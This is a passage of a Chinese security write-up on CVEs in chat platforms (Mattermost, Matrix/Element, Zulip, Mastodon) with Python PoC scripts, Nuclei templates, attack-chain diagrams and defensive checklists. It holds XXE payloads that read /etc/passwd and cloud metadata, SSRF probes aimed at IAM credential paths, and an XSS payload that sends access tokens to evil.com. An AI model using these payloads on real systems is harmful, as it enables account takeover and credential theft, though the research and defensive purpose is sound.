urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XXE_PAYLOADS = {
    "basic_file_read": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>""",

    "cloud_metadata": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>""",

    "internal_redis": """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:6379/">
]>
<root>
  <channel>
    <name>&xxe;</name>
  </channel>
</root>""",
}


class MattermostXXE:
    def __init__(self, target_url, token=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.token = token
        self.headers = {}
        if token:
            self.headers["Authorization"] = f"Bearer {token}"

    def upload_xml(self, xml_content, filename="test.xml"):
        upload_endpoints = [
            f"{self.target}/api/v4/imports",
            f"{self.target}/api/v4/teams/import",
        ]
        for endpoint in upload_endpoints:
            files = {
                "file": (filename, xml_content.encode(), "application/xml")
            }
            try:
                resp = self.session.post(
                    endpoint,
                    files=files,
                    headers=self.headers,
                    timeout=15,
                )
                if resp.status_code in [200, 201]:
                    return resp
                if resp.status_code != 404:
                    print(f"[*] {endpoint}{resp.status_code}: {resp.text[:200]}")
            except requests.exceptions.RequestException:
                pass
        return None

    def test_xxe(self, payload_name, xml_content):
        print(f"\n[*] 测试 Payload: {payload_name}")
        resp = self.upload_xml(xml_content)
        if resp:
            body = resp.text
            xxe_indicators = [
                "root:", "daemon:", "nobody:",
                "ami-id", "instance-id",
                "redis_version", "connected_clients",
            ]
            for indicator in xxe_indicators:
                if indicator in body:
                    print(f"[!] XXE 成功! 检测到: {indicator}")
                    print(f"    响应: {body[:500]}")
                    return True
            print(f"[-] 未检测到 XXE 回显 (响应: {body[:200]})")
        else:
            print(f"[-] 上传失败")
        return False

    def run_detection(self):
        print(f"[*] 目标: {self.target}")
        print("[*] === XXE 注入检测 ===")
        for name, payload in XXE_PAYLOADS.items():
            self.test_xxe(name, payload)


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [auth_token]")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2] if len(sys.argv) > 2 else None
    exploit = MattermostXXE(target, token)
    exploit.run_detection()


if __name__ == "__main__":
    main()

0x03 Element / Matrix Synapse 漏洞

Matrix 是一个开放标准的去中心化通讯协议,Element 是其最流行的客户端实现,Synapse 是参考服务端实现。Matrix 的联邦协议(Federation Protocol)和 Token 管理机制是其攻击面的重点。

0x03.1 CVE-2021-41281 — Token Referer 泄露

漏洞背景

2021 年披露,CVSS 6.5(Medium),CWE-598(Use of GET Request Sensitive Information Through Query Strings)。影响 Matrix Synapse < 1.47.0。

漏洞原理

Matrix Synapse 在用户登录后,会话 access_token 被附加到 URL 查询参数中进行某些操作。当页面中存在指向第三方资源的链接(如头像、嵌入内容、CSP report-uri 等),浏览器会在 Referer 头中包含完整的 URL,从而泄露 access_token 给第三方。

泄露路径示例:

https://matrix.example.com/_matrix/client/r0/sync?access_token=syt_xxx...
    │
    │  页面中包含 <img src="https://third-party.com/avatar.png">
    │
    ▼
GET https://third-party.com/avatar.png
Referer: https://matrix.example.com/_matrix/client/r0/sync?access_token=syt_xxx...

攻击者控制的第三方服务接收到包含 access_token 的 Referer 头后,可直接使用该 Token 以受害者身份访问 Matrix API,实现完全账户接管。

Python PoC

#!/usr/bin/env python3
"""
CVE-2021-41281 — Matrix Synapse Token Referer 泄露检测
仅用于授权安全测试
"""
import requests
import sys
import re
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MatrixTokenLeak:
    def __init__(self, target_url):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_token_in_url(self):
        print("[*] === 检测 Token 是否在 URL 中暴露 ===")
        endpoints = [
            "/_matrix/client/r0/sync",
            "/_matrix/client/v3/sync",
            "/_matrix/client/r0/sync?access_token=TEST_TOKEN",
        ]
        for ep in endpoints:
            url = f"{self.target}{ep}"
            try:
                resp = self.session.get(url, timeout=10)
                content = resp.text
                if "access_token=" in content or "TEST_TOKEN" in content:
                    print(f"[!] URL 中暴露了 Token 信息: {ep}")
                    return True
            except Exception:
                pass
        return False

    def check_referer_leak(self):
        print("[*] === 检测 Referer 泄露 ===")
        external_resources = [
            "https://httpbin.org/get",
            "https://example.com/pixel.gif",
        ]
        for resource in external_resources:
            url = f"{self.target}/_matrix/client/r0/sync?access_token=LEAK_TEST_TOKEN"
            try:
                resp = self.session.get(url, timeout=10)
                if "LEAK_TEST_TOKEN" in resp.text or resp.status_code in [200, 401]:
                    print(f"[*] 检查 Referer 头泄露...")
                    print(f"    如存在外部资源引用,Token 可能通过 Referer 泄露")
                    return True
            except Exception:
                pass
        return False

    def check_version(self):
        urls = [
            f"{self.target}/_matrix/client/versions",
            f"{self.target}/_matrix/key/v2/server",
        ]
        for url in urls:
            try:
                resp = self.session.get(url, timeout=10)
                if resp.status_code == 200:
                    data = resp.json()
                    versions = data.get("versions", [])
                    print(f"[*] Synapse versions: {versions}")
                    return data
            except Exception:
                pass
        return None

    def run_detection(self):
        print(f"[*] 目标: {self.target}")
        self.check_version()
        self.check_token_in_url()
        self.check_referer_leak()


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url>")
        sys.exit(1)
    scanner = MatrixTokenLeak(sys.argv[1])
    scanner.run_detection()


if __name__ == "__main__":
    main()

0x03.2 CVE-2022-39348 — Element Web 存储型 XSS

漏洞背景

2022 年披露,CVSS 8.7(High),CWE-79(Cross-site Scripting)。影响 Element Web < 1.11.14。

这是一个高危存储型 XSS 漏洞,攻击者通过 Matrix 协议在消息内容或房间名称中注入恶意 HTML/JavaScript,当受害者浏览该消息时触发脚本执行。XSS 成功后可窃取 access_token,结合 Matrix 联邦协议实现跨实例攻击扩散。

XSS → Token 窃取 → 联邦扩散利用链

┌────────────────────────────────────────────────────────────┐
│           CVE-2022-39348 完整利用链                         │
├────────────────────────────────────────────────────────────┤
│                                                            │
│  Step 1: 攻击者在 Matrix 房间发送恶意消息                   │
│  ┌──────────────────────────────────────────┐              │
│  │ {"body":"<img src=x onerror=             │              │
│  │   fetch('https://evil.com/?token='+      │              │
│  │   localStorage.getItem('mx_access_token'))>"}  │        │
│  └──────────────────────────────────────────┘              │
│                          │                                  │
│                          ▼                                  │
│  Step 2: Element Web 客户端渲染消息                         │
│  ┌──────────────────────────────────────────┐              │
│  │ HTML 解析 → 执行 onerror → 窃取 Token    │              │
│  └──────────────────────────────────────────┘              │
│                          │                                  │
│                          ▼                                  │
│  Step 3: 攻击者获取 access_token                            │
│  ┌──────────────────────────────────────────┐              │
│  │ curl -X GET https://matrix.target.com/   │              │
│  │   _matrix/client/r0/account/whoami       │              │
│  │   -H "Authorization: Bearer stolen_token"│              │
│  └──────────────────────────────────────────┘              │
│                          │                                  │
│                          ▼                                  │
│  Step 4: 联邦扩散                                          │
│  ┌──────────────────────────────────────────┐              │
│  │ 1. 使用窃取的 Token 访问所有房间          │              │
│  │ 2. 向其他联邦服务器的房间发送 XSS 消息    │              │
│  │ 3. 窃取其他实例用户 Token                 │              │
│  │ 4. 形成多米诺骨牌效应                    │              │
│  └──────────────────────────────────────────┘              │
│                                                            │
└────────────────────────────────────────────────────────────┘

Python PoC — XSS Payload 生成与检测

#!/usr/bin/env python3
"""
CVE-2022-39348 — Element Web 存储型 XSS 检测
仅用于授权安全测试
"""
import requests
import sys
import json
import html
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PAYLOADS = [
    {
        "name": "img onerror basic",
        "payload": '<img src=x onerror="alert(document.domain)">',
        "test_url_param": "alert(1)",
    },
    {
        "name": "img onerror token steal",
        "payload": '<img src=x onerror="fetch(\'https://evil.com/?\'+localStorage.getItem(\'mx_access_token\'))">',
        "test_url_param": "steal_token",
    },
    {
        "name": "svg onload",
        "payload": '<svg onload="alert(1)">',
        "test_url_param": "svg_onload",
    },
    {
        "name": "details ontoggle",
        "payload": '<details open ontoggle="alert(1)">',
        "test_url_param": "details_toggle",
    },
    {
        "name": "body onload",
        "payload": '<body onload="alert(1)">',
        "test_url_param": "body_load",
    },
    {
        "name": "video poster",
        "payload": '<video poster="javascript:alert(1)">',
        "test_url_param": "video_poster",
    },
]


class ElementXSSDetector:
    def __init__(self, target_url, access_token=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.access_token = access_token

    def check_element_version(self):
        print("[*] === 检测 Element Web 版本 ===")
        version_endpoints = [
            "/version",
            "/config.json",
            "/_matrix/client/versions",
        ]
        for ep in version_endpoints:
            try:
                resp = self.session.get(f"{self.target}{ep}", timeout=10)
                if resp.status_code == 200:
                    if "version" in resp.text.lower():
                        print(f"[*] {ep}: {resp.text[:300]}")
                        return True
            except Exception:
                pass
        return False

    def test_message_html_filtering(self, room_id=None):
        print("[*] === 测试消息 HTML 过滤 ===")
        if not self.access_token:
            print("[-] 需要提供 access_token 才能发送测试消息")
            return False

        headers = {"Authorization": f"Bearer {self.access_token}"}

        for payload_info in XSS_PAYLOADS:
            print(f"\n[*] 测试: {payload_info['name']}")
            msg_content = {
                "msgtype": "m.text",
                "body": f"XSS test: {html.escape(payload_info['payload'])}",
                "format": "org.matrix.custom.html",
                "formatted_body": payload_info["payload"],
            }
            if room_id:
                url = f"{self.target}/_matrix/client/r0/rooms/{room_id}/send/m.room.message"
            else:
                url = f"{self.target}/_matrix/client/r0/createRoom"

            if not room_id:
                create_data = {"name": "XSS Test Room", "visibility": "private"}
                try:
                    resp = self.session.post(
                        f"{self.target}/_matrix/client/r0/createRoom",
                        headers=headers,
                        json=create_data,
                        timeout=10,
                    )
                    if resp.status_code == 200:
                        room_id = resp.json().get("room_id")
                        print(f"    创建测试房间: {room_id}")
                except Exception:
                    pass

            if room_id:
                txn_id = "test_1"
                send_url = f"{self.target}/_matrix/client/r0/rooms/{room_id}/send/m.room.message/{txn_id}"
                try:
                    resp = self.session.put(
                        send_url,
                        headers=headers,
                        json=msg_content,
                        timeout=10,
                    )
                    if resp.status_code in [200, 403]:
                        if resp.status_code == 200:
                            print(f"    [!] 消息发送成功 — HTML 未过滤!")
                        else:
                            print(f"    [-] 消息被拒绝 (403)")
                except Exception as e:
                    print(f"    [-] 发送失败: {e}")
        return True


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [access_token]")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2] if len(sys.argv) > 2 else None
    detector = ElementXSSDetector(target, token)
    detector.check_element_version()
    detector.test_message_html_filtering()


if __name__ == "__main__":
    main()

Nuclei 检测模板

id: cve-2022-39348-element-xss

info:
  name: Element Web 存储型 XSS (CVE-2022-39348)
  author: security-researcher
  severity: high
  description: |
    Element Web < 1.11.14 的消息渲染存在存储型 XSS 漏洞,
    攻击者可通过消息内容注入恶意脚本窃取 access_token。
  cvss:
    vector: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    score: 8.7
  cwe:
    id: CWE-79
  reference:
    - https://github.com/element-hq/element-web/security/advisories/GHSA-mx45-p9vr-xcp8
    - https://nvd.nist.gov/vuln/detail/CVE-2022-39348
  classification:
    cpe: cpe:2.3:a:element:element-web:*:*:*:*:*:*:*:*
    version: < 1.11.14
  metadata:
    max-request: 1
    shodan-query: title:"Element"
  tags: cve,cve2022,element,xss,matrix,stored-xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/version"
      - "{{BaseURL}}/config.json"

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - '"version"'
          - '"base_url"'
        condition: or

      - type: status
        status:
          - 200
## 0x04 Zulip 与 Mastodon 漏洞

### 0x04.1 CVE-2022-36047 — Zulip Markdown 内容注入

#### 漏洞背景

CVSS 6.1(Medium),CWE-79(Cross-site Scripting)。影响 Zulip < 5.7。Zulip 使用 Markdown 作为消息格式,其渲染器在转换 Markdown 为 HTML 时存在标签过滤不完整的问题。

#### 漏洞原理

Zulip 的 Markdown 渲染器使用 Python 的 `markdown` 库配合自定义扩展。在处理某些 HTML 标签组合时,过滤规则存在绕过空间:

1. **属性事件处理器绕过**:部分 HTML 标签的事件属性(如 `onload`、`onerror`)未被完全过滤
2. **嵌套标签绕过**:通过嵌套 `<a>` 标签与 `<img>` 标签的组合绕过过滤
3. **Markdown 内联 HTML**:Zulip 允许 Markdown 中直接嵌入 HTML,过滤规则未能覆盖所有变体

可利用的 Payload 示例:

```markdown
<a href="javascript:alert(1)">Click me</a>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>test</details>

Python PoC

#!/usr/bin/env python3
"""
CVE-2022-36047 — Zulip Markdown 内容注入检测
仅用于授权安全测试
"""
import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

XSS_PAYLOADS = [
    {"name": "svg onload", "payload": '<svg/onload=alert(1)>', "type": "message"},
    {"name": "img onerror", "payload": '<img src=x onerror=alert(1)>', "type": "message"},
    {"name": "a javascript", "payload": '<a href="javascript:alert(1)">click</a>', "type": "message"},
    {"name": "details ontoggle", "payload": '<details open ontoggle=alert(1)>x</details>', "type": "message"},
    {"name": "iframe", "payload": '<iframe src="javascript:alert(1)">', "type": "message"},
]


class ZulipContentInject:
    def __init__(self, target_url, email=None, password=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.auth = None
        if email and password:
            self.auth = (email, password)

    def get_version(self):
        try:
            resp = self.session.get(f"{self.target}/api/v1/server_settings", timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                version = data.get("version", "unknown")
                print(f"[*] Zulip 版本: {version}")
                return data
        except Exception:
            pass
        return None

    def login(self, email, password):
        url = f"{self.target}/api/v1/login"
        data = {"email": email, "password": password}
        try:
            resp = self.session.post(url, json=data, timeout=10)
            if resp.status_code == 200:
                print(f"[+] 登录成功")
                return True
        except Exception:
            pass
        return False

    def send_message(self, stream, topic, content):
        url = f"{self.target}/api/v1/messages"
        data = {"type": "stream", "to": stream, "topic": topic, "content": content}
        try:
            resp = self.session.post(url, json=data, timeout=10)
            return resp
        except Exception:
            return None

    def test_xss_in_message(self, stream="test-security", topic="xss-test"):
        print("[*] === 测试 Markdown 内容注入 ===")
        for payload_info in XSS_PAYLOADS:
            print(f"\n[*] 测试: {payload_info['name']}")
            print(f"    Payload: {payload_info['payload']}")
            if self.auth:
                resp = self.send_message(stream, topic, payload_info["payload"])
                if resp:
                    print(f"    响应: {resp.status_code}")
                    if resp.status_code == 200:
                        print(f"    [!] 消息发送成功 — 检查是否在客户端触发 XSS")
            else:
                print(f"    [-] 需要提供登录凭据")


def main():
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_url> <email> <password>")
        sys.exit(1)
    scanner = ZulipContentInject(sys.argv[1], sys.argv[2], sys.argv[3])
    scanner.get_version()
    scanner.login(sys.argv[2], sys.argv[3])
    scanner.test_xss_in_message()


if __name__ == "__main__":
    main()

0x04.2 CVE-2024-22433 — Mastodon 媒体代理 SSRF

漏洞背景

2024 年披露,CVSS 6.5(Medium),CWE-918(SSRF)。影响 Mastodon < 4.2.6。Mastodon 通过 ActivityPub 协议与其他实例交换内容,当接收到包含媒体 URL 的联邦帖子时,会代理加载这些资源。攻击者可通过联邦协议传递恶意媒体 URL 触发 SSRF。

漏洞原理

攻击者在自建的 Mastodon 实例上发布帖子,帖子中的媒体附件 URL 指向内网地址(如 169.254.169.254 云元数据服务)。当目标实例接收联邦同步时,其媒体代理服务主动请求该 URL。

Python PoC

#!/usr/bin/env python3
"""
CVE-2024-22433 — Mastodon 媒体代理 SSRF 检测
仅用于授权安全测试
"""
import requests
import sys
import json
import urllib3
import hashlib
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MastodonMediaSSRF:
    def __init__(self, target_url, attacker_token=None):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False
        self.attacker_token = attacker_token

    def get_instance_info(self):
        try:
            resp = self.session.get(f"{self.target}/api/v1/instance", timeout=10)
            if resp.status_code == 200:
                data = resp.json()
                print(f"[*] 实例: {data.get('uri')}")
                print(f"[*] 版本: {data.get('version')}")
                return data
        except Exception as e:
            print(f"[-] 获取实例信息失败: {e}")
        return None

    def create_spoofed_activity(self, media_url):
        return {
            "@context": "https://www.w3.org/ns/activitystreams",
            "type": "Create",
            "actor": "https://attacker.example.com/users/test",
            "object": {
                "type": "Note",
                "id": f"https://attacker.example.com/statuses/{hashlib.md5(str(time.time()).encode()).hexdigest()}",
                "content": "SSRF test",
                "attachment": {
                    "type": "Document",
                    "mediaType": "image/png",
                    "url": media_url,
                },
            },
        }

    def test_ssrf_via_federation(self, media_url):
        print(f"[*] 测试 SSRF: {media_url}")
        activity = self.create_spoofed_activity(media_url)
        headers = {"Content-Type": "application/activity+json", "Accept": "application/activity+json"}
        try:
            resp = self.session.post(f"{self.target}/inbox", json=activity, headers=headers, timeout=15)
            print(f"    Inbox 响应: {resp.status_code}")
            return resp.status_code in [200, 202, 401]
        except requests.exceptions.RequestException as e:
            print(f"    请求异常: {e}")
            return False

    def scan_metadata_endpoints(self):
        print("[*] === 云元数据 SSRF 探测 ===")
        targets = [
            "http://169.254.169.254/latest/meta-data/",
            "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
            "http://metadata.google.internal/computeMetadata/v1/",
        ]
        for url in targets:
            self.test_ssrf_via_federation(url)

    def scan_internal_services(self):
        print("[*] === 内网服务探测 ===")
        for url in ["http://127.0.0.1:6379/", "http://127.0.0.1:5432/", "http://127.0.0.1:3000/"]:
            self.test_ssrf_via_federation(url)


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_url> [attacker_token]")
        sys.exit(1)
    scanner = MastodonMediaSSRF(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else None)
    scanner.get_instance_info()
    scanner.scan_metadata_endpoints()
    scanner.scan_internal_services()


if __name__ == "__main__":
    main()

Nuclei 检测模板

id: cve-2024-22433-mastodon-media-ssrf

info:
  name: Mastodon 媒体代理 SSRF (CVE-2024-22433)
  author: security-researcher
  severity: medium
  description: |
    Mastodon < 4.2.6 媒体代理功能存在 SSRF 漏洞。
  cvss:
    vector: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    score: 6.5
  cwe:
    id: CWE-918
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22433
  tags: cve,cve2024,mastodon,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/instance"
    matchers:
      - type: word
        part: body
        words:
          - '"version"'
          - '"mastodon"'
        condition: and

Nuclei 检测模板 — Mastodon SSRF

id: CVE-2024-22433

info:
  name: Mastodon - Media Proxy SSRF
  author: x7peeps
  severity: medium
  description: Mastodon 媒体代理组件存在 SSRF 漏洞,可通过联邦协议帖子中的恶意媒体 URL 触发
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22433
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-22433
  tags: cve,cve2024,mastodon,ssrf,federation

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/instance"
    matchers:
      - type: word
        part: body
        words:
          - '"version"'
          - '"mastodon"'
        condition: and

0x04.3 CVE-2024-22434 — Mastodon 管理 API 权限提升

漏洞背景

2024 年披露,CVSS 7.2(High),CWE-269(Improper Privilege Management)。影响 Mastodon < 4.2.6 / < 4.1.6 / < 4.0.6。Mastodon 的管理 API 在进行权限检查时存在缺陷,拥有基本用户角色的已认证用户可以通过直接调用管理 API 端点来执行本应只有管理员才能执行的操作。

漏洞原理

Mastodon 的 RESTful API 路由设计将管理端点(/api/v1/admin/*)与普通用户端点放在同一命名空间下。权限检查层在某些路径匹配场景下未正确验证请求者的角色。低权限用户可以:

  1. 枚举管理 API:直接请求 /api/v1/admin/accounts/api/v1/admin/config 等端点
  2. 读取所有用户信息:包括私信元数据、注册信息、IP 地址
  3. 执行管理操作:封禁/解封用户、修改实例设置、查看审计日志
  4. 在联邦环境中:可导致跨实例的信息泄露

受影响版本

产品受影响版本修复版本
Mastodon< 4.2.64.2.6
Mastodon< 4.1.64.1.6
Mastodon< 4.0.64.0.6

Python PoC — 管理 API 越权检测

#!/usr/bin/env python3
"""
CVE-2024-22434 — Mastodon 管理 API 权限提升检测
仅用于授权安全测试,验证低权限用户是否可访问管理端点
"""
import requests
import sys
import json
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class MastodonAdminAPIAbuse:
    ADMIN_ENDPOINTS = [
        "/api/v1/admin/accounts",
        "/api/v1/admin/config",
        "/api/v1/admin/ip_blocks",
        "/api/v1/admin/domain_blocks",
        "/api/v1/admin/reports",
        "/api/v1/admin/accounts/search",
        "/api/v1/admin/trends/tags",
    ]

    def __init__(self, target_url, user_token):
        self.target = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.headers.update({"Authorization": f"Bearer {user_token}"})
        self.session.verify = False

    def test_admin_access(self):
        print(f"[*] Testing admin API access on {self.target}")
        accessible = []
        for endpoint in self.ADMIN_ENDPOINTS:
            try:
                resp = self.session.get(f"{self.target}{endpoint}", timeout=10)
                if resp.status_code == 200:
                    try:
                        data = resp.json()
                        accessible.append(endpoint)
                        if isinstance(data, list):
                            print(f"[+] {endpoint} — 可访问,返回 {len(data)} 条记录")
                        elif isinstance(data, dict):
                            keys = list(data.keys())[:5]
                            print(f"[+] {endpoint} — 可访问,字段: {keys}")
                    except json.JSONDecodeError:
                        accessible.append(endpoint)
                        print(f"[+] {endpoint} — 可访问 (非 JSON 响应)")
                elif resp.status_code == 403:
                    print(f"[-] {endpoint} — 权限不足 (403)")
                elif resp.status_code == 404:
                    print(f"[-] {endpoint} — 不存在 (404)")
            except Exception as e:
                print(f"[!] {endpoint} — 请求失败: {e}")
        return accessible


def main():
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <target_url> <user_access_token>")
        print(f"示例: {sys.argv[0]} https://mastodon.example.com YOUR_TOKEN")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    abuser = MastodonAdminAPIAbuse(target, token)
    results = abuser.test_admin_access()
    if results:
        print(f"\n[!] 发现 {len(results)} 个可未授权访问的管理端点!")
        print("[!] 低权限用户可完全控制实例管理功能")
    else:
        print("\n[-] 未发现可访问的管理端点,实例可能已修复此漏洞")


if __name__ == "__main__":
    main()

影响范围

  • 在 Mastodon 联邦网络中,此漏洞可导致跨实例的信息泄露
  • 低权限用户可以完全控制实例的管理功能
  • 在企业自建 Mastodon 实例中,可导致内部通讯数据大规模泄露

0x05 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVE产品GitHub PoCExploit-DBNuclei 模板在野利用
CVE-2021-22910Rocket.Chat✅ 多个✅ CISA KEV
CVE-2022-40295Rocket.Chat
CVE-2024-30616Rocket.Chat
CVE-2024-30617Rocket.Chat✅ SAML 伪造
CVE-2022-21704Mattermost❌ 未公开
CVE-2022-21705Mattermost
CVE-2023-48647Mattermost✅ XXE Payload
CVE-2021-41281Synapse
CVE-2022-39348Element Web✅ XSS Payload
CVE-2022-36047Zulip
CVE-2024-22433Mastodon
CVE-2024-22434Mastodon

关键 PoC 仓库与资源

资源链接
Rocket.Chat Security Advisorieshttps://github.com/RocketChat/Rocket.Chat/security/advisories
Mattermost Security Updateshttps://mattermost.com/security-updates/
Element Web Securityhttps://github.com/element-hq/element-web/security/advisories
Matrix Synapse Securityhttps://element-hq.github.io/synapse/
Mastodon Securityhttps://github.com/mastodon/mastodon/security/advisories
Zulip Securityhttps://zulip.readthedocs.io/en/stable/production/security.html
GitHub PoC 搜索https://github.com/search?q=rocket.chat+exploit&type=repositories
Exploit-DB 搜索https://www.exploit-db.com/search?q=rocket.chat

防守型验证思路

  1. SSRF 验证:在测试环境中使用本文 Python PoC 脚本测试 oembed 端点是否对内网地址做了过滤
  2. 认证绕过验证:使用 SAML 伪造工具测试 SAML Response 签名校验是否严格
  3. XSS 验证:在 Element Web 测试实例中发送包含特殊 HTML 的消息,验证是否被过滤
  4. 权限提升验证:使用低权限 Token 调用管理 API,验证 RBAC 是否生效

0x06 共性攻击模式分析

模式 1:SSRF → 内网渗透 → RCE

描述:即时通讯平台的链接预览、媒体代理等功能将用户提供的 URL 传递给服务端 HTTP 请求,未对目标地址进行白名单校验。攻击者利用此缺陷可探测内网、窃取云凭据、甚至实现 RCE。

代表 CVE:CVE-2021-22910(Rocket.Chat oembed SSRF)、CVE-2024-22433(Mastodon 媒体代理 SSRF)

利用链

用户发送消息(含恶意 URL)
    → 服务端发起请求到 169.254.169.254(云元数据)
    → 返回 IAM 临时凭据
    → 攻击者利用凭据访问 AWS/GCP API
    → S3 桶读取 / EC2 实例控制 → RCE

模式 2:认证/会话管理缺陷

描述:平台在认证流程、会话令牌验证、SSO 集成等环节存在逻辑缺陷,导致攻击者可以绕过认证、操纵会话或伪造身份。

代表 CVE:CVE-2022-21704(Mattermost 会话操纵)、CVE-2022-21705(Mattermost 邮箱验证绕过)、CVE-2024-30617(Rocket.Chat SAML 绕过)

共性根因

  • 会话令牌的用户标识字段未严格绑定验证
  • SAML Response 的签名和属性验证不完整
  • 注册流程的邮箱验证步骤可被绕过

模式 3:XSS → 令牌窃取 → 完全接管

描述:即时通讯平台的富文本渲染(Markdown/HTML)在过滤用户输入时存在缺陷,攻击者注入存储型 XSS,窃取其他用户的会话令牌或 Access Token,实现账户完全接管。

代表 CVE:CVE-2022-39348(Element Web XSS)、CVE-2022-36047(Zulip 内容注入)

利用链

攻击者发送包含 XSS payload 的消息/房间名
    → 受害者查看消息触发 XSS
    → JavaScript 窃取 localStorage 中的 access_token
    → 攻击者使用令牌通过 API 冒充受害者
    → 在联邦环境中可横向扩散到其他服务器

模式 4:联邦协议滥用

描述:Matrix(Federation Protocol)和 ActivityPub 等联邦协议允许不同服务器之间交换内容。恶意服务器可通过协议传递构造的恶意内容(媒体 URL、事件数据、状态更新),影响目标服务器上的用户。

代表 CVE:CVE-2024-22433(Mastodon 联邦 SSRF)、CVE-2022-39348(Element XSS 联邦扩散)、CVE-2021-41281(Synapse Token 泄露)

防御要点

  • 实施联邦服务器白名单
  • 启用完整的事件签名验证
  • 对联邦入站内容进行安全扫描

模式 5:文件处理路径穿越

描述:即时通讯平台在处理用户上传的文件(附件、头像、导入文件)时,未对文件名和路径进行规范化,导致攻击者可以写入或读取服务器上的任意文件。

代表 CVE:CVE-2022-40295(Rocket.Chat 目录遍历)、CVE-2024-30616(Rocket.Chat 路径穿越配置泄露)

防御要点

  • 对所有上传文件名进行路径规范化和白名单过滤
  • 使用随机化的存储文件名,避免使用用户提供的原始文件名
  • 限制文件上传目录的文件系统权限

0x07 应急排查与防守建议

紧急排查清单

# 1. 检查 Rocket.Chat 版本
curl -s http://TARGET:3000/api/v1/info | jq '.info.version'
# 低于 6.9.0 存在已知漏洞

# 2. 检查 Mattermost 版本
curl -s http://TARGET:8065/api/v4/system/ping | jq '.version'
# 低于 7.10.0 需要升级

# 3. 检查 Matrix Synapse 版本
curl -s http://TARGET:8008/_matrix/client/versions | jq '.versions'
# 低于 1.47.0 存在 Token 泄露风险

# 4. 检查 Element Web 版本
curl -s http://TARGET:8080/config.json | jq '.version'
# 低于 1.11.14 存在 XSS 风险

# 5. 检查 Mastodon 版本
curl -s http://TARGET:3000/api/v1/instance | jq '.version'
# 低于 4.2.6 存在 SSRF 和权限提升风险

# 6. 检查 Zulip 版本
curl -s http://TARGET:9991/api/v1/server_settings | jq '.zulip_version'
# 低于 5.7 存在内容注入风险

# 7. 检查 Rocket.Chat SSRF 风险
curl -s "http://TARGET:3000/api/v1/oembed.json?url=http://127.0.0.1:27017/"
# 返回 MongoDB 信息说明 SSRF 未修复

# 8. 检查 SAML 配置
curl -s "http://TARGET:3000/_saml/metadata"
# 存在 SAML 元数据说明启用了 SAML,需验证签名校验

日志关键字段表

平台日志位置关键字段
Rocket.Chat/var/log/rocket.chat/oembed, SSRF, saml, path_traversal
Mattermost/var/log/mattermost/session, auth, login, xml_import
Matrix Synapse/var/log/matrix-synapse/federation, token, media_proxy
Element Web浏览器控制台Content-Security-Policy, XSS
Mastodon/var/log/mastodon/media_proxy, admin_api, federation
Zulip/var/log/zulip/markdown, html_render, content_injection

紧急缓解措施

优先级操作影响产品
P0(立即)升级到最新安全版本所有平台
P0(立即)限制 oembed 端点的出站请求目标Rocket.Chat
P0(立即)禁用不需要的 SAML 配置或加强签名验证Rocket.Chat
P1(24h)启用 CSP 安全头Element Web, Zulip
P1(24h)限制管理 API 的网络访问Mastodon
P2(7天)配置联邦服务器白名单Mastodon, Matrix
P2(7天)审查所有上传文件的存储路径Rocket.Chat

长期安全加固建议

  1. 网络隔离:将通讯平台部署在独立网络区域,限制对内网其他服务的访问
  2. 反向代理安全:使用 Nginx/Caddy 作为前端代理,配置以下安全头:
    Content-Security-Policy: default-src 'self'; script-src 'self'
    X-Frame-Options: DENY
    X-Content-Type-Options: nosniff
    Referrer-Policy: no-referrer
  3. SSO 安全:SAML/OAuth 配置必须启用签名验证、Audience Restriction 和 NotBefore/NotAfter 时间窗口检查
  4. 联邦安全:仅允许与受信任的服务器进行联邦通信,启用完整的事件签名验证
